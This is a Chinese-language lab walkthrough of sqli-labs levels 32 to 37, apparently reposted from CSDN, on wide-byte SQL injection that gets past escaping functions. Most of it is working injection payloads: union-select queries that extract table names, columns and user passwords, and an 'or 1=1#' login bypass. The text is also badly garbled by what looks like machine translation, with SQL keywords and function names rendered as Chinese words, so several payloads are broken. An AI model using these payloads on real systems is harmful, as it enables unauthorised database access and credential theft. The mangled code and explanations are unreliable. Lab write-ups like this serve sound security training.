Sqli,sqlite学习

Sqli 文章目录 宽字节注入什么是宽字节?宽字节注入原理 Less_32Less_33Less_34Less_35Less_36Less_37 宽字节注入
什么是宽字节?
如果一个字符的大小是一个字节的,称为窄字节&#x

文章目录

宽咬合注射宽咬合注射的原理是什么?

减_32减_33减_34减_35减_36减_37

宽字节注入

什么是宽字节?

如果字符大小为1字节,则称为窄字节,如果字符大小为2字节,则称为宽字节。

GB2312、GBK、GB18030、BIG5、Shift_JIS等编码通常称为宽字节,即只有2个字节,默认英文占1个字节,中文占2个字节。

宽字节注入原理

SQL注入中一个非常重要的步骤是关闭引号和跳转到引号之外。如果你不能跳到引号之外,那么你输入的内容将永远在引号之内,而你输出的内容也会跳到引号之外。必须始终是一个字符串。

php\\ 有转义字符来转义敏感信息或输入的特殊字符。

也就是说,转义时,单引号\’变成了\\\’,输入内容被视为转义字符串,无法实现对字符串进行换行的功能,因此因宽字节注入而失去了转换的意义。逃脱的角色

\\ 转义字符被编码为%5c。找到另一半并创建新角色%df%5c。

%df 以反斜杠URL 编码%5C 结尾,在GBK 国标编码中,它形成汉字“连”,并“吃掉”了用于转义的反斜杠。

Less_32

sqli-labs – 论文分类

当我输入?id=1\’ 时,页面没有报告错误,但我可以看到单引号被转义了。

使用单引号时使用宽字节注入

?id=1%df\’ 订购4 件–+

?id=-1%df\’ 连接选择1,database(),3–+

?id=-1%df\’ 联合选择1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+

请注意,您必须将数据库名称替换为其十六进制(HEX) 编码,以避免使用单引号。

?id=-1%df\’ 联合选择1,group_concat(column_name),3 来自information_schema.columns,其中table_name=0x7573657273–+

?id=-1%df\’ 合并security.users 中的选择1,group_concat(用户名,密码),3 –+

Less_33

与上一个问题一样,插入单引号,但单引号被转义。

函数check_addslashes($string)

{

$string=添加睫毛($string);

返回$字符串。

}

我们看一下源码

addslashes: 返回一个字符串,在转义字符之前需要有反斜杠。

这些字符是

撇号(\’)

双引号(\’)

反斜杠(\\)

NUL(NUL 字节)

或者使用%df 绕过它

Less_34

这个问题是关于POST 类型注入,上面添加到过滤函数的\\ 也用单引号转义。但是,由于get 方法以URL 的形式发送数据,因此数据是经过URL 编码传递的。

要使用后类型注入,请将UTF-8 转换为UTF-16 或UTF-32 转换为UTF-16。

请使用通用密码“”或1=1#

您可以确认您的登录成功。

原来的SQL语句是:

从用户中选择用户名和密码,其中用户名=\’$uname\’和密码=\’$passwd\’ LIMIT 0,1

然后输入后会是这样的

从用户中选择用户名、密码,其中用户名=\’\’或1=1#\’且密码=\’1\’ LIMIT 0,1

可以看到前面关闭成功,并且#下面的语句被注释掉了,所以登录成功了。

Less_35

为什么不先尝试一下呢?

接下来,查看源代码。

从用户中选择*,其中id=$id LIMIT 0,1

可以看到ID没有用\’and\’括起来。所以addslashes函数实际上可以忽略。

请写出与第一个问题相同的内容。

订单号为?id=1 4 –+

?id=-1 并集选择1,database(),3–+

?id=-1\’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=\’security\’–+

?id=-1\’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=\’users\’–+

?id=-1 联合选择1,group_concat(用户名,密码),3 来自security.users–+

Less_36

单引号注入、字符转义和宽字节注入还是够用的,不过还是用上面的方法写

检查源代码:

函数check_quotes($string)

{

$string=mysql_real_escape_string($string);

返回$字符串。

}

check_quotes函数使用mysql_real_escape_string函数进行过滤。

mysql_real_escape_string — 转义字符串中的特殊字符以在SQL 语句中使用

在以下字符前添加反斜杠:\\x00、\\n、\\r、\\、\’、\’ 和\\x1a

Less_37

提供34 个问题通用密码

因为与问题34唯一的区别在于函数的过滤方式。

第34题增加了冲刺

第37题是mysql_real_escape_string,但是原理类似。

然后你也可以拿起你的包了。

uname=1%df\’passwd=1submit=提交时您将收到错误消息

我注释掉了,发现登录错误。

uname=1%df\’ 订购3件–+passwd=1submit=提交

uname=-1%df\’ 连接选择1,2

uname=-1%df\’ 并集选择1,database()–+passwd=1submit=提交

uname=-1%df\’ Union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()–+passwd=1submit=提交

uname=-1%df\’ Union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273–+passwd=1submit=提交

uname=-1%df\’ Union select 1,group_concat(用户名,密码) from security.users–+passwd=1submit=提交

以上#Sqli相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93807.html

(0)
CSDN的头像CSDN
上一篇 2024年7月26日
下一篇 2024年7月26日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注